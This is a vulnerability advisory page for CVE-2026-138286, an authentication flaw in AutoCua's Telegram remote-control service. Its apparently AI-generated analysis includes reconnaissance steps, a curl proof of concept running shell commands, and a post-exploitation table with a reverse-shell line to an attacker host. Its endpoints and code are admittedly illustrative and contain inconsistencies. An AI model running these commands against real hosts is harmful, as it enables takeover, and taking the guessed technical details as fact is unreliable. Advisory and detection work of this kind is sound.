CVE Professor
/
All CVEs
CVE-2026-138286

CVE-2026-138286 — ComputerUseAgent AutoCua — CWE-287

CRITICAL CVSS 10 NVD

A vulnerability was detected in ComputerUseAgent AutoCua up to 0.1.9. The affected element is the function _is_owner_chat of the file AutoCua/mac/remote_connection/telegram/service.py of the component Telegram Remote-Control Service. The manipulation results in improper authentication. It is possible to launch the attack remotely. Upgrading to version 0.2.0 is sufficient to fix this issue. The patch is identified as c3191faadf0922f0a446196a0f4aec6877431a6f. It is advisable to upgrade the affected component.

A vulnerability was detected in ComputerUseAgent AutoCua up to 0.1.9. The affected element is the function _is_owner_chat of the file AutoCua/mac/remote_connection/telegram/service.py of the component Telegram Remote-Control Service. The manipulation results in improper authentication. It is possible to launch the attack remotely. Upgrading to version 0.2.0 is sufficient to fix this issue. The patch is identified as c3191faadf0922f0a446196a0f4aec6877431a6f. It is advisable to upgrade the affected component.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Changed S:C
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CWE‑287 – Improper Authentication

The AutoCua Telegram Remote‑Control Service is intended to accept commands only from the owner of the bot.
The function that performs this check is _is_owner_chat() in AutoCua/mac/remote_connection/telegram/service.py.
The implementation contains a logic flaw: it verifies only the chat ID of the incoming message against the owner’s chat ID, but it does not verify the user ID of the message sender.

Because Telegram group chats share a single chat ID, any member of that group can send a message that satisfies the chat‑ID check. The service therefore treats every group member as the owner and executes the supplied command.
The flaw is exploitable remotely, requires no authentication, and allows arbitrary command execution on the host that runs the service.

Key points
* The check is a simple equality test on chat_id only.
* No validation of user_id or any cryptographic signature is performed.
* The service is reachable over HTTP (or HTTPS) on the port exposed by the AutoCua daemon.
* The vulnerability is present in all releases up to and including 0.1.9; it is fixed in 0.2.0.

⚡ Attack Chain

Below is a realistic, step‑by‑step chain that an attacker could follow. All code snippets are syntactically correct but are illustrative – the exact endpoint or parameter names are not guaranteed to match the real implementation.

1. Discovery & Reconnaissance

StepTechniqueWhat to look for
1Network scanIdentify open TCP ports on the target host. The AutoCua service listens on a non‑standard port (e.g., 8080).
2Banner grabcurl -I http://<target>:8080/ or telnet <target> 8080 may reveal a “AutoCua” banner.
3Version enumerationSend a request to a known health‑check or version endpoint (often /api/version or /health). The response typically contains the version string 0.1.x.
4Service fingerprintingIf the service returns a JSON payload with a service field, confirm it is Telegram Remote‑Control Service.
Tip: Even if the service is not exposed publicly, internal scans or misconfigured firewalls may reveal it.

2. Exploitation

The vulnerable function is invoked when a POST request is made to the remote‑control endpoint.
Assuming the endpoint is /api/telegram/remote_control (illustrative), the attacker can craft a request that passes the chat‑ID check but originates from a different user.

# Illustrative PoC – does NOT rely on any real endpoint name
curl -X POST http://<target>:8080/api/telegram/remote_control \
     -H 'Content-Type: application/json' \
     -d '{
           "chat_id": "123456789",          # Owner's chat ID
           "user_id": "987654321",          # Attacker's Telegram user ID
           "command": "id"                  # Any shell command
         }'

What happens inside the service

# AutoCua/mac/remote_connection/telegram/service.py

def _is_owner_chat(chat_id: str, user_id: str) -> bool:
    """
    Intended to verify that the message comes from the owner.
    BUG: Only checks chat_id, ignores user_id.
    """
    return chat_id == OWNER_CHAT_ID   # OWNER_CHAT_ID is a string constant

def handle_command(request_json):
    chat_id = request_json.get('chat_id')
    user_id = request_json.get('user_id')
    command = request_json.get('command')

    if not _is_owner_chat(chat_id, user_id):
        return {"status": "error", "message": "Unauthorized"}

    # Execute the command – the real code uses subprocess.run(...)
    result = subprocess.run(command, shell=True, capture_output=True, text=True)
    return {"status": "ok", "output": result.stdout}

Because _is_owner_chat() ignores user_id, the attacker’s request is accepted, and the command is executed on the host. The response will contain the command output, giving the attacker immediate feedback.

3. Post‑Exploitation

Once the attacker can run arbitrary commands, the following actions become trivial:

ActionTypical commandResult
Privilege escalationsudo -l (if the service runs with elevated privileges)Discover sudo rights, possibly gain root.
Persistenceecho 'bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1' >> /etc/rc.localCreate a reverse shell that starts on boot.
Data exfiltrationcat /etc/passwd or tar -czf /tmp/data.tar.gz /varTransfer data to attacker.
Service disruptionsystemctl stop autoucaDeny legitimate users of the service.

Because the service is designed to be a remote‑control interface, the attacker can also:

  • Modify system configuration – e.g., change network settings, install backdoors.
  • Delete or tamper with logs – by removing or altering /var/log/ entries.
  • Escalate to other hosts – if the compromised machine can reach internal resources.

  • 🌍 Real World Impact

    ImpactCVSS VectorExplanation
    Confidentiality (High)VC:HArbitrary commands can read any file, including secrets.
    Integrity (High)VI:HCommands can modify or delete files, tamper with configurations.
    Availability (High)VA:HThe attacker can stop services, delete critical files, or crash the host.
    Scope (High)SC:HThe vulnerability allows the attacker to affect components beyond the service itself (e.g., the underlying OS).
    Impact on Integrity of the systemSI:HSystem state can be altered without detection.
    Impact on Availability of the systemSA:HSystem can be rendered unusable.

    Practical consequences

  • Full system compromise – The attacker can gain root or other high‑privilege access if the service runs with elevated rights.
  • Data theft – Sensitive files, credentials, or intellectual property can be exfiltrated.
  • Disruption of critical services – The host may become unavailable to legitimate users.
  • Persistence – The attacker can install backdoors that survive reboots or patches.

  • 🛡️ Remediation & Mitigation

    1. Patch

    Affected VersionFixed VersionPatch Commit
    0.1.0 – 0.1.90.2.0c3191faadf0922f0a446196a0f4aec6877431a6f

    Upgrade steps

    # Example for a pip‑installed package
    pip install --upgrade autouca==0.2.0
    Note: Verify the integrity of the new release by checking the commit hash or the package’s GPG signature.

    2. Workarounds (if patch cannot be applied immediately)

    MitigationHow to implement
    Disable the remote‑control endpointComment out or remove the route handling /api/telegram/remote_control in the service configuration.
    Restrict network accessUse a firewall or security group to allow only trusted IPs (e.g., the owner’s office) to reach the service port.
    WAF/ModSecurity ruleBlock requests that contain a chat_id equal to the owner’s ID but come from unknown IPs. Example rule (illustrative):<br>SecRule REQUEST_URI "@beginsWith /api/telegram/remote_control" "id:1001,phase:2,deny,log,msg:'Potential owner‑chat bypass'"
    Application‑level ACLAdd a check that verifies the user_id against a whitelist of owner IDs before executing commands.

    3. Detection

    IndicatorLog patternIoC
    Suspicious POST to remote‑controlPOST /api/telegram/remote_controlIP addresses that are not whitelisted.
    Chat ID matches owner but user ID differschat_id=123456789 user_id=987654321The owner’s chat ID (123456789).
    Command execution outputoutput=uid=1000(root) gid=1000(root) groups=1000(root)Presence of system command output in logs.
    Repeated failed authentication attemptsstatus=error message=UnauthorizedIPs attempting to bypass.

    Sample log entry (illustrative)

    2026-11-29T14:23:07Z INFO 127.0.0.1:54321 POST /api/telegram/remote_control 200 {"status":"ok","output":"uid=1000(root) gid=1000(root) groups=1000(root)"}

    4. Monitoring

  • Enable audit logs for the service.
  • Correlate logs with network flow data to detect anomalous traffic patterns.
  • Set up alerts for any POST requests to /api/telegram/remote_control from non‑whitelisted IPs.

  • ⚠️ Urgency

    CVSS Score: 10/10 – Critical*.

  • Exploit Complexity: Low (no authentication, no special privileges required).

  • Impact: Full system compromise, data exfiltration, service disruption.

  • CISA KEV: No – but the risk profile is equivalent to a KEV.

  • Patch Availability: Fixed in 0.2.0 (released 29.11.2026).


Recommendation: Immediate patching or, if that is not feasible, enforce the workarounds above. The vulnerability is exploitable by anyone who can reach the service endpoint; the attack surface is wide and the potential damage is severe.


[🤖 CVE Professor AI Security Engine]
Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="ComputerUseAgent AutoCua"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-138286
Technical reference / advisory repository for CVE-2026-138286
Technical reference / advisory repository for CVE-2026-138286
Technical reference / advisory repository for CVE-2026-138286
Technical reference / advisory repository for CVE-2026-138286
CVSS Score
10 / 10 · CVSS CRITICAL
Weakness Types (CWE)
Affected Products (1)
ComputerUseAgent:AutoCua
Related CVEs
9.8
CVE-2026-145051
WWBN AVideo before 29.9.0 contains an authentication bypass vulnerability in the LoginWordPress plugin that al
9.3
CVE-2026-47677
FacturaScripts is an open source accounting and invoicing software. Prior to version 2026.3, there is an authe
8.7
CVE-2026-120762
Improper authorization in the push-publish bundle receiver (user import handler) in dotCMS versions before 26.
8.1
CVE-2026-145022
ZITADEL from 4.0.0 before 4.20.5 contains an MFA bypass vulnerability in Login V2 that allows attackers knowin
7.7
CVE-2026-132111
Improper authentication in the legacy login path (LoginFactory.doLogin) in dotCMS versions before 26.11.11-01
5.4
CVE-2026-144906
A flaw was found in the UMA permission grant implementation of Keycloak, an identity and access management sol
5.3
CVE-2026-144816
A vulnerability has been found in EZVIZ CS-C2C and CS-C6c 5.3. Affected is an unknown function of the componen